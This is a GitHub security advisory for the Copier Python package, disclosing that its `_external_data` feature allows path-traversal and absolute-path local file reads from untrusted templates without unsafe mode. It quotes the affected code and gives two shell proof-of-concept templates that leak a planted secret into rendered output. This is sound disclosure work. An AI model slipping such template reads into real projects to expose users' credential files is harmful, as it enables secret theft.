Skip to content

Copier `_external_data` allows path traversal and absolute-path local file read without unsafe mode

Moderate
sisp published GHSA-hgjq-p8cr-gg4h Mar 31, 2026

Package

pip copier (pip)

Affected versions

<9.14.0

Patched versions

9.14.1

Description

Summary

Copier's _external_data feature allows a template to load YAML files using template-controlled paths. The documentation describes these values as relative paths from the subproject destination, so relative paths themselves appear to be part of the intended feature model.

However, the current implementation also allows destination-external reads, including:

  • parent-directory paths such as ../secret.yml
  • absolute paths such as /tmp/secret.yml

and then expose the parsed contents in rendered output.

This is possible without --UNSAFE, which makes the behavior potentially dangerous when Copier is run against untrusted templates. I am not certain this is unintended behavior, but it is security-sensitive and appears important to clarify.

Details

The relevant flow is:

  1. a template defines _external_data
  2. Copier renders the configured path string
  3. Copier calls load_answersfile_data(dst_path, rendered_path, warn_on_missing=True)
  4. load_answersfile_data() opens Path(dst_path, answers_file) directly
  5. parsed YAML becomes available as _external_data.<name> during rendering

Relevant code:

  • copier/copier/_main.py

    Lines 329 to 332 in 7aa7021

    name: lambda path=path: load_answersfile_data( # type: ignore[misc]
    self.dst_path, _render(path), warn_on_missing=True
    )
    for name, path in self.template.external_data.items()
  • copier/copier/_user_data.py

    Lines 584 to 592 in 7aa7021

    def load_answersfile_data(
    dst_path: StrOrPath,
    answers_file: StrOrPath = ".copier-answers.yml",
    *,
    warn_on_missing: bool = False,
    ) -> AnyByStrDict:
    """Load answers data from a `$dst_path/$answers_file` file if it exists."""
    try:
    with Path(dst_path, answers_file).open("rb") as fd:

The sink is:

with Path(dst_path, answers_file).open("rb") as fd:
    return yaml.safe_load(fd)

There is no containment check to ensure the resulting path stays inside the subproject destination.

This is notable because Copier already blocks other destination-escape paths. Normal render-path traversal outside the destination is expected to raise ForbiddenPathError, and that behavior is explicitly covered by existing tests in

copier/tests/test_copy.py

Lines 1289 to 1332 in 7aa7021

def test_relative_render_path_outside_destination_raises_error(
tmp_path_factory: pytest.TempPathFactory,
) -> None:
root = tmp_path_factory.mktemp("root")
(src := root / "src").mkdir()
(dst := root / "dst").mkdir()
build_file_tree(
{
root / "forbidden.txt": "foo",
src / "{{ pathjoin('..', 'forbidden.txt') }}": "bar",
}
)
with pytest.raises(
ForbiddenPathError,
match=re.escape(rf'"{Path("..", "forbidden.txt")}" is forbidden'),
):
copier.run_copy(str(src), dst, overwrite=True)
assert not (dst / "forbidden.txt").exists()
assert (root / "forbidden.txt").exists()
assert (root / "forbidden.txt").read_text("utf-8") == "foo"
@pytest.mark.skipif(os.name != "posix", reason="Applies only to POSIX")
def test_absolute_render_path_outside_destination_raises_error_on_posix(
tmp_path_factory: pytest.TempPathFactory,
) -> None:
src, dst, other = map(tmp_path_factory.mktemp, ("src", "dst", "other"))
path_parts = ", ".join(map(repr, other.parts[1:]))
build_file_tree(
{
other / "forbidden.txt": "foo",
src / "copier.yml": f"_envops: {BRACKET_ENVOPS_JSON}",
src / f"[[ pathjoin(_copier_conf.sep, {path_parts}, 'forbidden.txt') ]]": (
"bar"
),
}
)
with pytest.raises(
ForbiddenPathError,
match=re.escape(rf'"{other / "forbidden.txt"}" is forbidden'),
):
copier.run_copy(str(src), dst, overwrite=True)
assert not (dst / "forbidden.txt").exists()
assert (other / "forbidden.txt").exists()
. _external_data does not apply an equivalent containment check.

The public documentation describes _external_data values as relative paths "from the subproject destination" in

copier/docs/configuring.md

Lines 944 to 1005 in 7aa7021

This allows using preexisting data inside the rendering context. The format is a dict of
strings, where:
- The dict key will be the namespace of the data under
[`_external_data`](#external_data).
- The dict value is the relative path (from the subproject destination) where the YAML
data file should be found.
!!! example "Template composition"
If your template is
[a complement of another template](#applying-multiple-templates-to-the-same-subproject),
you can access the other template's answers with a pattern similar to this:
```yaml title="copier.yml"
# Child template defaults to a different answers file, to avoid conflicts
_answers_file: .copier-answers.child-tpl.yml
# Child template loads parent answers
_external_data:
# A dynamic path. Make sure you answer that question
# before the first access to the data (with `_external_data.parent_tpl`)
parent_tpl: "{{ parent_tpl_answers_file }}"
# Ask user where they stored parent answers
parent_tpl_answers_file:
help: Where did you store answers of the parent template?
default: .copier-answers.yml
# Use a parent answer as the default value for a child question
target_version:
help: What version are you deploying?
# We already answered the `parent_tpl_answers_file` question, so we can
# now correctly access the external data from `_external_data.parent_tpl`
default: "{{ _external_data.parent_tpl.target_version }}"
```
!!! example "Loading secrets"
If your template has [secret questions](#secret_questions), you can load the secrets
and use them, e.g., as default answers with a pattern similar to this:
```yaml
# Template loads secrets from Git-ignored file
_external_data:
# A static path. If missing, it will return an empty dict
secrets: .secrets.yaml
# Use a secret answers as the default value for a secret question
password:
help: What is the password?
secret: true
# If `.secrets.yaml` exists, it has been loaded at this point and we can
# now correctly access the external data from `_external_data.secrets`
default: "{{ _external_data.secrets.password }}"
```
A template might even render `.secrets.yaml` with the answers to secret questions
similar to this:
```yaml title=".secrets.yaml.jinja"
password: "{{ password }}"
, with examples using .copier-answers.yml and .secrets.yaml. That clearly supports relative-path usage, but it does not clearly communicate that a template may escape the destination with ../... or read arbitrary absolute paths. Because this behavior also works without --UNSAFE, it seems worth clarifying whether destination-external reads are intended, and if so, whether they should be documented as security-sensitive behavior.

PoC

PoC 1: _external_data reads outside the destination with ../

mkdir src dst
echo 'token: topsecret' > secret.yml

printf '%s\n' '_external_data:' '  secret: ../secret.yml' > src/copier.yml
printf '%s\n' '{{ _external_data.secret.token }}' > src/leak.txt.jinja

copier copy --overwrite src dst
cat dst/leak.txt

Expected output:

topsecret

PoC 2: _external_data reads an absolute path

mkdir abs-src abs-dst
echo 'token: abssecret' > absolute-secret.yml

printf '%s\n' '_external_data:' "  secret: $(pwd)/absolute-secret.yml" > abs-src/copier.yml
printf '%s\n' '{{ _external_data.secret.token }}' > abs-src/leak.txt.jinja

copier copy --overwrite abs-src abs-dst
cat abs-dst/leak.txt

Expected output:

abssecret

Impact

If untrusted templates are in scope, a malicious template can read attacker-chosen YAML-parseable local files that are accessible to the user running Copier and expose their contents in rendered output.

Practical impact:

  • destination-external local file read
  • disclosure of YAML/JSON/plain-text-like secrets if they parse successfully under yaml.safe_load
  • possible without --UNSAFE

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

CVE ID

CVE-2026-34730

Weaknesses

No CWEs

Credits